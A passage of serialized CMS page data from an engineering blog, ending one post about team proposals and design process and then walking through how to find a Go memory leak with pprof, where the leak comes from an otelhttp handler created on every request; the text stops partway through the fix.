project:",[],{"link_type":487},{"dimensions":7602,"alt":13,"copyright":13,"url":7605,"id":7606,"edit":7607},{"width":7603,"height":7604},577,958,"\u002F_prismic-media\u002F8d49270d18c68a11-HEyW8CRSLcNc9NQ4_d08ecc4d-0896-4d8a-8d45-f872431.png","HEyW8CRSLcNc9NQ4",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$12bacf90-b97d-4899-8bd4-8e1fbaddc264",{"variation":459,"version":460,"items":7615,"primary":7616,"id":7634,"slice_type":479,"slice_label":13},[],{"body":7617},[7618,7622,7625,7628,7631],{"type":396,"text":7619,"spans":7620},"Proposals",[7621],{"start":17,"end":2380,"type":477},{"type":396,"text":7623,"spans":7624},"We use proposals when we need to make a decision about something, but it's less clear that a decision can be made unilaterally, or when feedback is required to gain a consensus. Proposals typically document a problem we have with the product, security, technology or our team process. They normally outline one or more possible solutions, and propose a way forward. We circulate them amongst the team, and people can take part in the decision making process asynchronously via comments. Sometimes we organise a small working group to discuss the problem synchronously, but most of the time we are able to reach a consensus asynchronously.",[],{"type":396,"text":7626,"spans":7627},"In my view, this enables decisions to be made by the team at large, without a single decision-maker being required, and without a great deal of synchronous contact time. Everyone has the opportunity to be involved in every decision that requires discussion, and the results of that discussion are transparent and recorded for posterity.",[],{"type":396,"text":7629,"spans":7630},"Combined with the decision records, proposals form a complete history of the major decisions we have made, and the problems we have solved.",[],{"type":396,"text":7632,"spans":7633},"The GitHub issue template for proposals is similar to decision records:",[],"rich_text$ad21f970-8e31-4a00-bf7d-52d4411cc13f",{"variation":459,"version":460,"items":7636,"primary":7637,"id":7642,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":7638},[7639],{"type":563,"text":7640,"spans":7641},"\u003C!--\nGuidance on creating new proposals:\n\n- A proposal should be used if you wish to propose a change\u002Fsolution.\n- A proposal should be used to request feedback\u002Fcomments from others.\n- A proposal should be used when a decision hasn't been made, and feedback is required to do so.\n- A proposal should not be used when you just need to record a decision that has been made.\n- If you need to record a decision, use a decision record.\n-->\n\n## Introduction\n\u003C!-- Provide some background to the reader about what this proposal is about, and why it's important. -->\n\n## Problem\n\u003C!-- Describe what problem this proposal is addressing. -->\n\n## Constraints\n\u003C!-- Outline any constraints on possible solutions to the problem. -->\n\n## Options\n\u003C!-- List the viable options for solving the problem, along with any relevant pros\u002Fcons or comparisons. -->\n\n## Proposal\n\u003C!-- Describe the solution\u002Fproposal that you would like feedback on. -->\n\n## Approvers\n\u003C!-- Optional: if you would like a specific group of people to approve this proposal, list them here\n\n- [ ] @person-a\n- [ ] @person-b\n- [ ] @person-c\n-->",[],"code_block$b866a71f-c89a-4aa5-a9cd-9b12fff22bf1",{"variation":459,"version":460,"items":7644,"primary":7645,"id":7704,"slice_type":479,"slice_label":13},[],{"body":7646},[7647,7650,7653,7656,7659,7662,7665,7668,7671,7674,7677,7680,7683,7686,7689,7692,7695,7698,7701],{"type":1097,"text":7648,"spans":7649,"direction":4053},"Democratising the technical design process",[],{"type":396,"text":7651,"spans":7652,"direction":4053},"As the size of our team grew, and the complexity of the product we were building increased, we started to notice that our original design process wasn't working well. Our original process consisted of:",[],{"type":1101,"text":7654,"spans":7655,"direction":4053},"The product team writing requirements.",[],{"type":1101,"text":7657,"spans":7658,"direction":4053},"Me reviewing those requirements, and providing any feedback.",[],{"type":1101,"text":7660,"spans":7661,"direction":4053},"Me writing a \"technical proposal\" (more on this below).",[],{"type":1101,"text":7663,"spans":7664,"direction":4053},"The requirements being shared with the engineering team for implementation.",[],{"type":396,"text":7666,"spans":7667,"direction":4053},"I had a lot of background knowledge and context, combined with the experience of designing the system so far. When I reviewed requirements, I would write a technical proposal which was a proposal designed to summarise the functionality from a technical point of view. This proposal served three purposes:",[],{"type":1101,"text":7669,"spans":7670,"direction":4053},"To summarise my understanding to play back to the product team for approval.",[],{"type":1101,"text":7672,"spans":7673,"direction":4053},"To communicate the overall design to engineers implementing individual requirements, for context.",[],{"type":1101,"text":7675,"spans":7676,"direction":4053},"To serve as a record of the design of the system for reference in the future.",[],{"type":396,"text":7678,"spans":7679,"direction":4053},"Whilst this worked well for 1. and 3. it turns out these documents weren't quite so good at transferring the context in my mind to engineers asynchronously. Furthermore, as I became more detached from the actual implementation of the product, sometimes unexpected issues came up during implementation that I hadn't anticipated.",[],{"type":396,"text":7681,"spans":7682,"direction":4053},"As a result, we improved our design process to be more inclusive and democratic, and utilise the skills of the entire team. What we do now is:",[],{"type":1101,"text":7684,"spans":7685,"direction":4053},"The product team write requirements.",[],{"type":1101,"text":7687,"spans":7688,"direction":4053},"We ask for a group of volunteers from the engineering team to form a working group to review the requirements. Preferably, these volunteers would include the people likely to work on the implementation.",[],{"type":1101,"text":7690,"spans":7691,"direction":4053},"We review the requirements with the working group and product team members and discuss problems and ask questions.",[],{"type":1101,"text":7693,"spans":7694,"direction":4053},"The working group collectively write the technical proposal (normally with myself or a lead engineer driving the actual prose and diagrams).",[],{"type":1101,"text":7696,"spans":7697,"direction":4053},"We share the proposal for feedback.",[],{"type":396,"text":7699,"spans":7700,"direction":4053},"The result of this is that by the time we come to implement the requirements, they have had a lot more engineering scrutiny than before, and the context is communicated not just via the proposal, but through participation in the working group as well.",[],{"type":396,"text":7702,"spans":7703,"direction":4053},"We typically end this exercise by providing a rough time estimate. We've found estimates from the working group to be much more accurate than estimates from me alone!",[],"rich_text$8895121f-a028-41aa-89aa-714b0c376192",{"variation":459,"version":460,"items":7706,"primary":7707,"id":7730,"slice_type":479,"slice_label":13},[],{"body":7708},[7709,7712,7715,7718,7721,7724,7727],{"type":1097,"text":7710,"spans":7711,"direction":4053},"Closing thoughts",[],{"type":396,"text":7713,"spans":7714,"direction":4053},"Leading a project from inception to a large, complex build and team has been a challenge, and I continue to learn about the best ways to face the challenges it brings. However, I think the ideas in this post are some of the key ingredients to success.",[],{"type":396,"text":7716,"spans":7717,"direction":4053},"The main philosophies I think are important are:",[],{"type":1101,"text":7719,"spans":7720,"direction":4053},"Encourage a culture of self-organisation, where team members can operate independently without any oversight or direction.",[],{"type":1101,"text":7722,"spans":7723,"direction":4053},"Seed and grow a corpus of knowledge and documentation that the team can own and maintain.",[],{"type":1101,"text":7725,"spans":7726,"direction":4053},"Provide a forum for asynchronous and democratised decision making and design discussions to take place.",[],{"type":396,"text":7728,"spans":7729,"direction":4053},"Whilst I'm sure there are many more best practices out there, these have certainly helped us grow a large team, and build a complex product.",[],"rich_text$a2c4dc46-64f2-45cf-9598-9eaad37785e4",{"id":7732,"uid":7733,"url":7734,"type":406,"href":7735,"tags":7736,"first_publication_date":7737,"last_publication_date":7738,"slugs":7739,"linked_documents":7741,"lang":386,"alternate_languages":7742,"data":7743},"alz07REAAC4AUWb2","how-to-find-and-fix-memory-leaks-in-go-applications","\u002Fresources\u002Fengineering-blog\u002Fhow-to-find-and-fix-memory-leaks-in-go-applications","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz07REAAC4AUWb2%22%29+%5D%5D",[],"2026-07-19T16:21:56+0000","2026-08-27T21:45:08+0000",[7740],"example-application",[],[],{"title":7744,"excerpt":7745,"card_image":7746,"published_date":7751,"reading_time":3400,"tag":427,"dek":7745,"featured_image":7752,"about_form3":7759,"client_about_heading":13,"client_about_body":7760,"author_name":13,"author_title":13,"author_photo":7761,"author_bio":7762,"author_linkedin":7763,"slices":7764,"meta_title":7744,"meta_description":7745},"How to find and fix memory leaks in Go applications","Imagine one day you prepare a proof of concept application. You quickly write some code that shows your idea, add tracing and metrics so you can see how it performs, deploy the application to test environment and boom, after running for 1 hour the application restarts with Out Of Memory error. This screams \"memory leak\", but you look into the code and see nothing obvious. You may start thinking that overall restart every hour isn't that bad. If you are thinking like that, I encourage you to keep reading as I'm going to guide you on how to debug and fix memory leaks in Go applications.",{"dimensions":7747,"alt":7744,"copyright":13,"url":7748,"id":7749,"edit":7750},{"width":420,"height":420},"\u002F_prismic-media\u002F3566a164cc3d074a-LUhc-k_Jf09q_3PS_how-to-find-and-fix-memory-leak.png","LUhc-k_Jf09q_3PS",{"x":17,"y":17,"zoom":18,"background":19},"2022-11-24",{"dimensions":7753,"alt":13,"copyright":13,"url":7756,"id":7757,"edit":7758},{"width":7754,"height":7755},3362,1222,"\u002F_prismic-media\u002Ff97084e1f9c2dbbc-pZB8R-_0BZ53jsKQ_9c3fe712-d866-4af0-84b1-32fbc4e.png","pZB8R-_0BZ53jsKQ",{"x":17,"y":17,"zoom":18,"background":19},[],[],{},[],{"link_type":487},[7765,7828,7854,7862,7886,7899,7907,7931,7939,7963,7971,7979,7990,7998,8020,8040,8048,8058,8066,8088,8107,8121,8129,8162],{"variation":459,"version":460,"items":7766,"primary":7767,"id":7827,"slice_type":479,"slice_label":13},[],{"body":7768},[7769,7772,7778,7782,7786,7790,7795,7799,7806,7811,7815,7819],{"type":1097,"text":7770,"spans":7771,"direction":4053},"Example application",[],{"type":396,"text":7773,"spans":7774,"direction":4053},"A simple setup that demonstrates the problem can be found on GitHub. It contains docker-compose.yml file with following services:",[7775],{"start":556,"end":2630,"type":744,"data":7776},{"link_type":453,"url":7777,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fblog-memory-leaks\u002F",{"type":1101,"text":7779,"spans":7780,"direction":4053},"prometheus for collecting metrics",[7781],{"start":17,"end":426,"type":780},{"type":1101,"text":7783,"spans":7784,"direction":4053},"zipkin for collecting traces",[7785],{"start":17,"end":3400,"type":780},{"type":1101,"text":7787,"spans":7788,"direction":4053},"leaker which is a service that contains a memory leak",[7789],{"start":17,"end":3400,"type":780},{"type":1101,"text":7791,"spans":7792,"direction":4053},"client which is a script that generates some load against leaker",[7793,7794],{"start":17,"end":3400,"type":780},{"start":556,"end":5013,"type":780},{"type":396,"text":7796,"spans":7797,"direction":4053},"Leaker",[7798],{"start":17,"end":3400,"type":477},{"type":396,"text":7800,"spans":7801,"direction":4053},"leaker is a simple gin application that exposes few HTTP endpoints:",[7802,7803],{"start":17,"end":3400,"type":780},{"start":2369,"end":579,"type":744,"data":7804},{"link_type":453,"url":7805,"target":456},"https:\u002F\u002Fgithub.com\u002Fgin-gonic\u002Fgin",{"type":1101,"text":7807,"spans":7808,"direction":4053},"\u002F that always returns \"OK\" is the one that client calls",[7809,7810],{"start":17,"end":18,"type":780},{"start":6708,"end":476,"type":780},{"type":1101,"text":7812,"spans":7813,"direction":4053},"\u002Fmetrics that returns prometheus metrics",[7814],{"start":17,"end":4811,"type":780},{"type":1101,"text":7816,"spans":7817,"direction":4053},"debug\u002Fpprof\u002F*profile that returns profiling data (more on that later)",[7818],{"start":17,"end":3298,"type":780},{"type":396,"text":7820,"spans":7821,"direction":4053},"Traces are exported to zipkin inside the global middleware added with router.Use. Note, that function passed to router.Use is executed on every request.",[7822,7823,7825],{"start":2532,"end":586,"type":780},{"start":7824,"end":688,"type":780},70,{"start":1792,"end":7826,"type":780},122,"rich_text$b2af2449-11e2-4fe4-8dee-620dc39dcbbb",{"variation":459,"version":481,"items":7829,"primary":7830,"id":7853,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":7831,"body":7832,"cta_label":13,"cta_link":7844,"aside_type":488,"aside_image":7845,"aside_video":7848,"aside_video_poster":7849,"aside_video_reduced_motion":7850,"aside_video_url":13,"aside_embed":7851,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":7852,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[7833,7837],{"type":396,"text":7834,"spans":7835,"direction":4053},"Running the stack",[7836],{"start":17,"end":967,"type":477},{"type":396,"text":7838,"spans":7839,"direction":4053},"We can just start the whole stack with docker-compose up -d, wait for a few minutes and then visit local prometheus to see a graph similar to the one below",[7840,7841],{"start":587,"end":2019,"type":780},{"start":2542,"end":3247,"type":744,"data":7842},{"link_type":453,"url":7843,"target":456},"http:\u002F\u002Flocalhost:9090\u002Fgraph?g0.expr=go_memstats_heap_alloc_bytes&g0.tab=0&g0.stacked=0&g0.show_exemplars=0&g0.range_input=15m",{"link_type":487},{"dimensions":7846,"alt":13,"copyright":13,"url":7756,"id":7757,"edit":7847},{"width":7754,"height":7755},{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$43487853-d86b-4996-8a98-b2f345c52db6",{"variation":459,"version":460,"items":7855,"primary":7856,"id":7861,"slice_type":479,"slice_label":13},[],{"body":7857},[7858],{"type":396,"text":7859,"spans":7860},"We can clearly see something is not right. Our application isn't supposed to have constantly growing in-memory state, but we can clearly see that memory consumption is increasing with every request. In the next sections I'm going to show you the steps needed to identify and fix the issue.",[],"rich_text$6cd3a35c-9434-490e-a1f3-c9243645ee88",{"variation":459,"version":460,"items":7863,"primary":7864,"id":7885,"slice_type":479,"slice_label":13},[],{"body":7865},[7866,7869],{"type":1097,"text":7867,"spans":7868,"direction":4053},"Introduction to pprof",[],{"type":396,"text":7870,"spans":7871,"direction":4053},"Per the documentation, pprof is a tool for visualization and analysis of profiling data. Profile is a gzipped protobuf file in a profile.proto format. What's nice about the format is that it's very generic. It's easy to generate your own profile and then use pprof to visualize and analyse it. For example net\u002Fhttp\u002Fpprof package can be used to analyse CPU profiles, past allocations, holders of contended mutexes and more.",[7872,7875,7878,7881],{"start":2532,"end":1071,"type":744,"data":7873},{"link_type":453,"url":7874,"target":456},"https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fpprof",{"start":1513,"end":1535,"type":744,"data":7876},{"link_type":453,"url":7877,"target":456},"https:\u002F\u002Fdevelopers.google.com\u002Fprotocol-buffers",{"start":7071,"end":1541,"type":744,"data":7879},{"link_type":453,"url":7880,"target":456},"https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fpprof\u002Fblob\u002Fmain\u002Fproto\u002Fprofile.proto",{"start":2738,"end":7882,"type":744,"data":7883},320,{"link_type":453,"url":7884,"target":456},"https:\u002F\u002Fpkg.go.dev\u002Fnet\u002Fhttp\u002Fpprof","rich_text$dfc6f352-f763-4238-bd6c-cd103747853c",{"variation":459,"version":460,"items":7887,"primary":7888,"id":7898,"slice_type":479,"slice_label":13},[],{"body":7889},[7890,7893],{"type":1097,"text":7891,"spans":7892,"direction":4053},"Instrumenting the application",[],{"type":396,"text":7894,"spans":7895,"direction":4053},"But how do we get pprof data from our application? Our sample application is using gin, so we will expose pprof data with it. We will add an endpoint to our router, so our application will be capable of rendering profiles it has collected.",[7896],{"start":549,"end":590,"type":744,"data":7897},{"link_type":453,"url":7805,"target":456},"rich_text$8504e684-cc50-4e5f-96cb-8678d05f5835",{"variation":459,"version":460,"items":7900,"primary":7901,"id":7906,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":7902},[7903],{"type":563,"text":7904,"spans":7905},"router.GET(\"\u002Fdebug\u002Fpprof\u002F*profile\", gin.WrapF(pprof.Index))",[],"code_block$34115431-7911-41da-980d-670b90647320",{"variation":459,"version":460,"items":7908,"primary":7909,"id":7930,"slice_type":479,"slice_label":13},[],{"body":7910},[7911,7927],{"type":396,"text":7912,"spans":7913},"note, that \u002Fdebug\u002Fpprof\u002F*profile path is important, as pprof.Index trims the prefix to obtain the profile name. After adding the instrumentation, we can visit http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002F to see list of profiles. In our case we're interested in the heap profile. We can see human readable report under http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002Fheap?debug=1.",[7914,7915,7916,7919,7922],{"start":1998,"end":515,"type":780},{"start":599,"end":1520,"type":780},{"start":2630,"end":1513,"type":744,"data":7917},{"link_type":453,"url":7918,"target":456},"https:\u002F\u002Fcs.opensource.google\u002Fgo\u002Fgo\u002F+\u002F2007599dc83aff17d8261338e8d2ab1f2c518a9b:src\u002Fnet\u002Fhttp\u002Fpprof\u002Fpprof.go;l=368",{"start":1549,"end":1421,"type":744,"data":7920},{"link_type":453,"url":7921,"target":456},"http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002F",{"start":7923,"end":7924,"type":744,"data":7925},308,354,{"link_type":453,"url":7926,"target":456},"http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002Fheap?debug=1",{"type":396,"text":7928,"spans":7929},"Let's stop for a little bit here and just for the sake of curiosity figure out what we see (feel free to skip to the next section if you just want to know how to efficiently analyse a profile). Looking at the first line, you should see something like",[],"rich_text$6b3768e9-b764-4ce6-8046-4a5f75b25ec0",{"variation":459,"version":460,"items":7932,"primary":7933,"id":7938,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":7934},[7935],{"type":563,"text":7936,"spans":7937},"heap profile: 4678: 509744696 [324302: 6210715928] @ heap\u002F1048576",[],"code_block$aea6d969-40ea-48d8-b4ba-fd0802f8adb2",{"variation":459,"version":460,"items":7940,"primary":7941,"id":7962,"slice_type":479,"slice_label":13},[],{"body":7942},[7943,7959],{"type":396,"text":7944,"spans":7945},"I'm going to follow the pprof source code to decipher what each of the values mean. Therefore we have 4678 objects in use, that occupy 509744696 bytes in total. Total number of allocated objects is 324302 and total allocated bytes is 6210715928. heap\u002F1048576 is related to sampling, and 1048576 is actually 2*MemProfileRate. It means, that one allocation sample gets collected every 512KB allocated (so 1048576B \u002F 2). It then can be used to estimate actual, not sampled values.",[7946,7949,7954],{"start":3298,"end":580,"type":744,"data":7947},{"link_type":453,"url":7948,"target":456},"https:\u002F\u002Fcs.opensource.google\u002Fgo\u002Fgo\u002F+\u002F2007599dc83aff17d8261338e8d2ab1f2c518a9b:src\u002Fruntime\u002Fpprof\u002Fpprof.go;l=596",{"start":7950,"end":7951,"type":744,"data":7952},309,323,{"link_type":453,"url":7953,"target":456},"https:\u002F\u002Fcs.opensource.google\u002Fgo\u002Fgo\u002F+\u002F2007599dc83aff17d8261338e8d2ab1f2c518a9b:src\u002Fruntime\u002Fmprof.go;drc=2007599dc83aff17d8261338e8d2ab1f2c518a9b;l=587",{"start":7955,"end":7956,"type":744,"data":7957},441,476,{"link_type":453,"url":7958,"target":456},"https:\u002F\u002Fcs.opensource.google\u002Fgo\u002Fgo\u002F+\u002F2007599dc83aff17d8261338e8d2ab1f2c518a9b:src\u002Fruntime\u002Fpprof\u002Fprotomem.go;drc=2007599dc83aff17d8261338e8d2ab1f2c518a9b;l=78",{"type":396,"text":7960,"spans":7961},"After that we see a list of memory profile records, sorted by total in use bytes. First sample would look similar to",[],"rich_text$f099de0e-30c2-47a8-8eed-d92ee5af2709",{"variation":459,"version":460,"items":7964,"primary":7965,"id":7970,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":7966},[7967],{"type":563,"text":7968,"spans":7969},"1: 505380864 [1: 505380864] @ 0x56fe60 0x59a928 0x59a540 0x5b67fc 0x4936d4 0x4933ad 0x492fa0 0x289868 0x284f50 0x7cc64\n#\t0x56fe5f\tgo.opentelemetry.io\u002Fotel\u002Fmetric\u002Finternal\u002Fglobal.(*siInstProvider).Counter+0x17f\t\t\t\u002Fapp\u002Fvendor\u002Fgo.opentelemetry.io\u002Fotel\u002Fmetric\u002Finternal\u002Fglobal\u002Fmeter.go:327\n#\t0x59a927\tgo.opentelemetry.io\u002Fcontrib\u002Finstrumentation\u002Fnet\u002Fhttp\u002Fotelhttp.(*Handler).createMeasures+0xb7\t\u002Fapp\u002Fvendor\u002Fgo.opentelemetry.io\u002Fcontrib\u002Finstrumentation\u002Fnet\u002Fhttp\u002Fotelhttp\u002Fhandler.go:101\n#\t0x59a53f\tgo.opentelemetry.io\u002Fcontrib\u002Finstrumentation\u002Fnet\u002Fhttp\u002Fotelhttp.NewHandler+0x38f\t\t\t\u002Fapp\u002Fvendor\u002Fgo.opentelemetry.io\u002Fcontrib\u002Finstrumentation\u002Fnet\u002Fhttp\u002Fotelhttp\u002Fhandler.go:75\n#\t0x5b67fb\tmain.main.func1+0xbb\t\t\t\t\t\t\t\t\t\t\u002Fapp\u002Fmain.go:42\n#\t0x4936d3\tgithub.com\u002Fgin-gonic\u002Fgin.(*Context).Next+0x573\t\t\t\t\t\t\t\u002Fapp\u002Fvendor\u002Fgithub.com\u002Fgin-gonic\u002Fgin\u002Fcontext.go:173\n#\t0x4933ac\tgithub.com\u002Fgin-gonic\u002Fgin.(*Engine).handleHTTPRequest+0x24c\t\t\t\t\t\u002Fapp\u002Fvendor\u002Fgithub.com\u002Fgin-gonic\u002Fgin\u002Fgin.go:616\n#\t0x492f9f\tgithub.com\u002Fgin-gonic\u002Fgin.(*Engine).ServeHTTP+0x1ff\t\t\t\t\t\t\u002Fapp\u002Fvendor\u002Fgithub.com\u002Fgin-gonic\u002Fgin\u002Fgin.go:572\n#\t0x289867\tnet\u002Fhttp.serverHandler.ServeHTTP+0x407\t\t\t\t\t\t\t\t\u002Fusr\u002Flocal\u002Fgo\u002Fsrc\u002Fnet\u002Fhttp\u002Fserver.go:2916\n#\t0x284f4f\tnet\u002Fhttp.(*conn).serve+0x54f\t\t\t\t\t\t\t\t\t\u002Fusr\u002Flocal\u002Fgo\u002Fsrc\u002Fnet\u002Fhttp\u002Fserver.go:1966",[],"code_block$22a63d86-54ce-4a6b-ab5a-c060098625ae",{"variation":459,"version":460,"items":7972,"primary":7973,"id":7978,"slice_type":479,"slice_label":13},[],{"body":7974},[7975],{"type":396,"text":7976,"spans":7977},"We can notice that there is 1 in use object, occupying 505380864 bytes (it's subject to sampling described above, so it's not an actual value!). There was only 1 object allocated with total allocated bytes of 505380864 (again, subject to sampling). Then the allocation stack trace follows so we can better understand where the allocations come from.",[],"rich_text$cc236a19-b3ab-406d-ba5f-5752ea6244c5",{"variation":459,"version":460,"items":7980,"primary":7981,"id":7989,"slice_type":479,"slice_label":13},[],{"body":7982},[7983,7986],{"type":1097,"text":7984,"spans":7985,"direction":4053},"Interpreting the results",[],{"type":396,"text":7987,"spans":7988,"direction":4053},"While for our simple use case report from the previous section would most likely be enough, it's still worth to know how to present it in more human readable way so we know how to handle real world scenarios as well. To display the report in a browser, we can run",[],"rich_text$282f8b0e-ac1d-4511-97be-34871019a2a2",{"variation":459,"version":460,"items":7991,"primary":7992,"id":7997,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":7993},[7994],{"type":563,"text":7995,"spans":7996},"pprof -web http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002Fheap",[],"code_block$1496002c-eb8c-46f7-b42d-a2764b11ea5e",{"variation":459,"version":481,"items":7999,"primary":8000,"id":8019,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":8001,"body":8002,"cta_label":13,"cta_link":8006,"aside_type":488,"aside_image":8007,"aside_video":8014,"aside_video_poster":8015,"aside_video_reduced_motion":8016,"aside_video_url":13,"aside_embed":8017,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":8018,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[8003],{"type":396,"text":8004,"spans":8005,"direction":4053},"which would show report similar to the one below.",[],{"link_type":487},{"dimensions":8008,"alt":13,"copyright":13,"url":8011,"id":8012,"edit":8013},{"width":8009,"height":8010},1522,1244,"\u002F_prismic-media\u002Fdd0e1a354db7c078-YzzqGZJoDS33rNWI_8783c498-6a1d-4598-948b-cc1df13.png","YzzqGZJoDS33rNWI",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$f6b885c2-677a-4439-9650-6edba12bcce2",{"variation":459,"version":460,"items":8021,"primary":8022,"id":8039,"slice_type":479,"slice_label":13},[],{"body":8023},[8024],{"type":396,"text":8025,"spans":8026},"It contains everything we need, including the instruction how to read the graph. When searching for memory leaks we would focus on red nodes (so ones with large cumulative values). We would follow thick red edges (so ones that have large amount of resources created) and stop on nodes with larger font size (so ones that have large flat values). Note, that pprof is quite smart in terms of what to present on the graph, therefore your graph may contain considerably fewer nodes (i.e. only relevant red ones). You can show more nodes with",[8027,8030,8031,8034,8036],{"start":773,"end":3006,"type":744,"data":8028},{"link_type":453,"url":8029,"target":456},"https:\u002F\u002Fgit.io\u002FJfYMW",{"start":7075,"end":2074,"type":477},{"start":8032,"end":8033,"type":477},197,213,{"start":8035,"end":3827,"type":477},279,{"start":8037,"end":8038,"type":780},357,362,"rich_text$40a81c8a-218e-424d-8deb-8be5ce69199f",{"variation":459,"version":460,"items":8041,"primary":8042,"id":8047,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":8043},[8044],{"type":563,"text":8045,"spans":8046},"pprof -web -nodefraction=0 http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002Fheap",[],"code_block$bde5a4dc-7fd2-4e51-aa2f-1e85a6f5d896",{"variation":459,"version":460,"items":8049,"primary":8050,"id":8057,"slice_type":479,"slice_label":13},[],{"body":8051},[8052],{"type":396,"text":8053,"spans":8054},"From the graph we can conclude, that we should look at global (*siInstProvider) Counter first. Problem is that, in larger functions it may not be obvious which allocation is the actual memory leak, so we can improve our graph a little bit. We would reduce noise and only show samples going through createMeasures node (as this is the ancestor of nodes with the largest flat values). We would also aggregate by source code line level, so that we can get precise source code locations. Therefore, the command would evolve to:",[8055,8056],{"start":3243,"end":3671,"type":780},{"start":6381,"end":4597,"type":780},"rich_text$cc6c7fb0-a86f-484f-a456-0a933d275295",{"variation":459,"version":460,"items":8059,"primary":8060,"id":8065,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":8061},[8062],{"type":563,"text":8063,"spans":8064},"pprof -web -focus=createMeasures -lines http:\u002F\u002Flocalhost:8080\u002Fdebug\u002Fpprof\u002Fheap",[],"code_block$ace64f9e-e4f7-4f61-9e85-05af37bfc3e7",{"variation":459,"version":481,"items":8067,"primary":8068,"id":8087,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":8069,"body":8070,"cta_label":13,"cta_link":8074,"aside_type":488,"aside_image":8075,"aside_video":8082,"aside_video_poster":8083,"aside_video_reduced_motion":8084,"aside_video_url":13,"aside_embed":8085,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":8086,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[8071],{"type":396,"text":8072,"spans":8073,"direction":4053},"This would open a graph similar to the one below.",[],{"link_type":487},{"dimensions":8076,"alt":13,"copyright":13,"url":8079,"id":8080,"edit":8081},{"width":8077,"height":8078},879,924,"\u002F_prismic-media\u002F3855aae5c88181bc-g3EZkiAwaUVmDUpp_84a00a16-def3-43bd-bcbd-afc056e.png","g3EZkiAwaUVmDUpp",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$42a25a5e-6456-4d59-9b2d-038f1809a043",{"variation":459,"version":460,"items":8089,"primary":8090,"id":8106,"slice_type":479,"slice_label":13},[],{"body":8091},[8092],{"type":396,"text":8093,"spans":8094},"We can hover on a node to find out precise location of where allocation occurs. We are interested in 3 nodes with the largest fonts, pointing to 1, 2 and 3 respectively.",[8095,8099,8103],{"start":850,"end":8096,"type":744,"data":8097},146,{"link_type":453,"url":8098,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fblog-memory-leaks\u002Fblob\u002Fmaster\u002Fvendor\u002Fgo.opentelemetry.io\u002Fotel\u002Fmetric\u002Finternal\u002Fglobal\u002Fmeter.go#L327",{"start":2469,"end":8100,"type":744,"data":8101},149,{"link_type":453,"url":8102,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fblog-memory-leaks\u002Fblob\u002Fmaster\u002Fvendor\u002Fgo.opentelemetry.io\u002Fotel\u002Fmetric\u002Finternal\u002Fglobal\u002Fmeter.go#L326",{"start":605,"end":2354,"type":744,"data":8104},{"link_type":453,"url":8105,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fblog-memory-leaks\u002Fblob\u002Fmaster\u002Fvendor\u002Fgo.opentelemetry.io\u002Fotel\u002Fmetric\u002Finternal\u002Fglobal\u002Fmeter.go#L315","rich_text$1b511915-782a-4001-936a-88a3899f8a55",{"variation":459,"version":460,"items":8108,"primary":8109,"id":8120,"slice_type":479,"slice_label":13},[],{"body":8110},[8111,8114],{"type":1097,"text":8112,"spans":8113,"direction":4053},"Fixing the bug",[],{"type":396,"text":8115,"spans":8116,"direction":4053},"From the analysis above, we can deduce that code that allocates the leaking resources (that we can control) lives in main.go:41:",[8117],{"start":8118,"end":8119,"type":780},117,127,"rich_text$4e1e857e-65b6-457d-8ea0-860b38b2500b",{"variation":459,"version":460,"items":8122,"primary":8123,"id":8128,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":8124},[8125],{"type":563,"text":8126,"spans":8127},"handlerWithMetrics := otelhttp.NewHandler(h, \"root\")",[],"code_block$c8126b3d-e111-46f9-a857-3b2636405fa0",{"variation":459,"version":481,"items":8130,"primary":8131,"id":8161,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":8132,"body":8133,"cta_label":13,"cta_link":8148,"aside_type":488,"aside_image":8149,"aside_video":8156,"aside_video_poster":8157,"aside_video_reduced_motion":8158,"aside_video_url":13,"aside_embed":8159,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":8160,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[8134,8139],{"type":396,"text":8135,"spans":8136,"direction":4053},"Reason why the service is leaking resources is that we create otelhttp handler for each request (it's inside a global middleware). Creating otelhttp handler creates counters and a histogram internally and appends them to the global meters (by 